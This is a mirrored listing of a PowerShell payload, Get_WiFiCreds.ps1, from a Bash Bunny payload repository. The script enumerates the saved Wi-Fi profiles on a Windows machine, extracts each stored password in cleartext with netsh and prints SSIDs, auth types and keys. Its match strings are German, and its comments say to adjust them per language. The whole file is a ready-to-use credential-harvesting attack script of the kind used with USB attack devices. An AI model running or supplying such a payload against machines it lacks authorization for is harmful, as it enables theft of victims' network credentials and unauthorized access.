mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
36 lines
1.1 KiB
PowerShell
36 lines
1.1 KiB
PowerShell
#
|
|
# Get_WiFiCreds.ps1
|
|
#
|
|
function Get-WiFiCreds {
|
|
|
|
$WLAN = netsh wlan show profiles | Select-String ": (.*)" |% { $_.Matches.Groups[1].Value }
|
|
|
|
foreach ( $SSID in $WLAN ) {
|
|
$Network = netsh wlan show profiles name=$SSID key=clear
|
|
$AuthType = (($Network | Select-String "Authentifizierung") -split(": "))[1] # set according to you language
|
|
$Password = (($Network | select-string "sselinhalt") -split(": "))[1] # in us its Authentication
|
|
echo "SSID`t`t`t:`t $SSID"
|
|
echo "AuthType`t`t:`t $AuthType"
|
|
echo "Password`t`t:`t $Password"
|
|
echo ""
|
|
}
|
|
}
|
|
|
|
####################################
|
|
|
|
echo "##Wifi Creds"
|
|
echo "======================================================"
|
|
echo ""
|
|
|
|
# Update output buffer size to 500
|
|
if( $Host -and $Host.UI -and $Host.UI.RawUI ) {
|
|
$rawUI = $Host.UI.RawUI
|
|
$oldSize = $rawUI.BufferSize
|
|
$typeName = $oldSize.GetType( ).FullName
|
|
$newSize = New-Object $typeName (500, $oldSize.Height)
|
|
$rawUI.BufferSize = $newSize
|
|
}
|
|
|
|
Get-WiFiCreds
|
|
echo "`n`n`n"
|
|
################################### |